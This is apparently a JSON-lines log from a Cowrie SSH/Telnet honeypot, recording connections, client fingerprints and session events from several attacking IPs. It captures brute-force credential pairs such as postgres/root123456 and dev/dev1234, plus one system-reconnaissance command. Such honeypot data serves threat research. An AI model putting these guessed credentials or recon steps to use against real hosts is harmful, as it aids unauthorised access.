{"eventid":"cowrie.login.failed","username":"ftp-test","password":"ftp-test@2024","message":"login attempt [ftp-test/ftp-test@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:03.110331Z","src_ip":"98.70.48.241","session":"282310fe8a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:03.764368Z","src_ip":"2.57.121.25","session":"b3d934f9716a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:04.309847Z","src_ip":"98.70.48.241","session":"282310fe8a49","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:08.603994Z","src_ip":"47.239.15.75","session":"0215b9f19093","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:08.607860Z","src_ip":"47.239.15.75","session":"0215b9f19093","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"2.0","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:10.584426Z","src_ip":"47.239.15.75","session":"0215b9f19093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.39370846748352,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:20.760373Z","src_ip":"45.58.127.90","session":"c50bb13e31b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"31.4","message":"Connection lost after 31.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:25.838663Z","src_ip":"47.239.15.75","session":"0215b9f19093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":60914,"dst_ip":"159.203.135.109","dst_port":22,"session":"bea653932fd4","protocol":"ssh","message":"New connection: 47.239.15.75:60914 (159.203.135.109:22) [session: bea653932fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:30.661987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:51.300718Z","src_ip":"47.239.15.75","session":"bea653932fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:51.306214Z","src_ip":"47.239.15.75","session":"bea653932fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":44942,"dst_ip":"159.203.135.109","dst_port":22,"session":"9120d5e22b8a","protocol":"ssh","message":"New connection: 98.70.48.241:44942 (159.203.135.109:22) [session: 9120d5e22b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:03.835521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:03.844591Z","src_ip":"98.70.48.241","session":"9120d5e22b8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:04.047177Z","src_ip":"98.70.48.241","session":"9120d5e22b8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"root123456","message":"login attempt [postgres/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:04.859801Z","src_ip":"98.70.48.241","session":"9120d5e22b8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:06.061393Z","src_ip":"98.70.48.241","session":"9120d5e22b8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":30544,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b3caf686936","protocol":"ssh","message":"New connection: 213.209.159.56:30544 (10.17.0.5:22) [session: 4b3caf686936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:21.314399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:21.319756Z","src_ip":"213.209.159.56","session":"4b3caf686936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:21.403117Z","src_ip":"213.209.159.56","session":"4b3caf686936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar","message":"login attempt [eleazar/eleazar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:21.803468Z","src_ip":"213.209.159.56","session":"4b3caf686936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar1","message":"login attempt [eleazar/eleazar1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:22.889772Z","src_ip":"213.209.159.56","session":"4b3caf686936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar123","message":"login attempt [eleazar/eleazar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:23.975143Z","src_ip":"213.209.159.56","session":"4b3caf686936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar1234","message":"login attempt [eleazar/eleazar1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:25.062739Z","src_ip":"213.209.159.56","session":"4b3caf686936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar12345","message":"login attempt [eleazar/eleazar12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:26.448255Z","src_ip":"213.209.159.56","session":"4b3caf686936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:27.537911Z","src_ip":"213.209.159.56","session":"4b3caf686936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59944,"dst_ip":"10.17.0.5","dst_port":23,"session":"621c69988473","protocol":"telnet","message":"New connection: 45.58.127.90:59944 (10.17.0.5:23) [session: 621c69988473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:34.830543Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45692,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf51242df3e","protocol":"telnet","message":"New connection: 45.58.127.90:45692 (10.17.0.5:23) [session: acf51242df3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:39.500708Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45702,"dst_ip":"10.17.0.5","dst_port":23,"session":"118e92b84d37","protocol":"telnet","message":"New connection: 45.58.127.90:45702 (10.17.0.5:23) [session: 118e92b84d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:39.521355Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59960,"dst_ip":"10.17.0.5","dst_port":23,"session":"b279214ae1e8","protocol":"telnet","message":"New connection: 45.58.127.90:59960 (10.17.0.5:23) [session: b279214ae1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:43.319603Z"}
{"eventid":"cowrie.session.closed","duration":1.312488079071045,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:44.631970Z","src_ip":"45.58.127.90","session":"b279214ae1e8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:48.971816Z","src_ip":"47.239.15.75","session":"bea653932fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39796,"dst_ip":"10.17.0.5","dst_port":23,"session":"f993dc7a1033","protocol":"telnet","message":"New connection: 45.58.127.90:39796 (10.17.0.5:23) [session: f993dc7a1033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:50.233005Z"}
{"eventid":"cowrie.session.closed","duration":"84.2","message":"Connection lost after 84.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:24:54.824050Z","src_ip":"47.239.15.75","session":"bea653932fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":57906,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad903a62723","protocol":"ssh","message":"New connection: 98.70.48.241:57906 (159.203.135.109:22) [session: 9ad903a62723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:06.496068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:06.502192Z","src_ip":"98.70.48.241","session":"9ad903a62723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:06.696512Z","src_ip":"98.70.48.241","session":"9ad903a62723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test2","message":"login attempt [test/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:07.506286Z","src_ip":"98.70.48.241","session":"9ad903a62723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:08.704509Z","src_ip":"98.70.48.241","session":"9ad903a62723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.195619106292725,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:13.026031Z","src_ip":"45.58.127.90","session":"621c69988473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.42488431930542,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:17.946138Z","src_ip":"45.58.127.90","session":"118e92b84d37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.911746978759766,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:18.412332Z","src_ip":"45.58.127.90","session":"acf51242df3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.977741956710815,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:31.210430Z","src_ip":"45.58.127.90","session":"f993dc7a1033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":40666,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5c6e54f96d8","protocol":"ssh","message":"New connection: 47.239.15.75:40666 (159.203.135.109:22) [session: a5c6e54f96d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:43.195856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:43.201600Z","src_ip":"47.239.15.75","session":"a5c6e54f96d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:48.557985Z","src_ip":"47.239.15.75","session":"a5c6e54f96d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52722,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e9a53d3894","protocol":"telnet","message":"New connection: 45.58.127.90:52722 (10.17.0.5:23) [session: a2e9a53d3894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:25:52.854329Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":37242,"dst_ip":"159.203.135.109","dst_port":22,"session":"bad29f8a4e82","protocol":"ssh","message":"New connection: 98.70.48.241:37242 (159.203.135.109:22) [session: bad29f8a4e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:11.556881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:11.561572Z","src_ip":"98.70.48.241","session":"bad29f8a4e82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:11.755816Z","src_ip":"98.70.48.241","session":"bad29f8a4e82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev1234","message":"login attempt [dev/dev1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:12.561782Z","src_ip":"98.70.48.241","session":"bad29f8a4e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:13.758941Z","src_ip":"98.70.48.241","session":"bad29f8a4e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":56864,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e56552c46fd","protocol":"ssh","message":"New connection: 47.239.15.75:56864 (159.203.135.109:22) [session: 2e56552c46fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:22.171843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:22.177652Z","src_ip":"47.239.15.75","session":"2e56552c46fd","protocol":"ssh"}
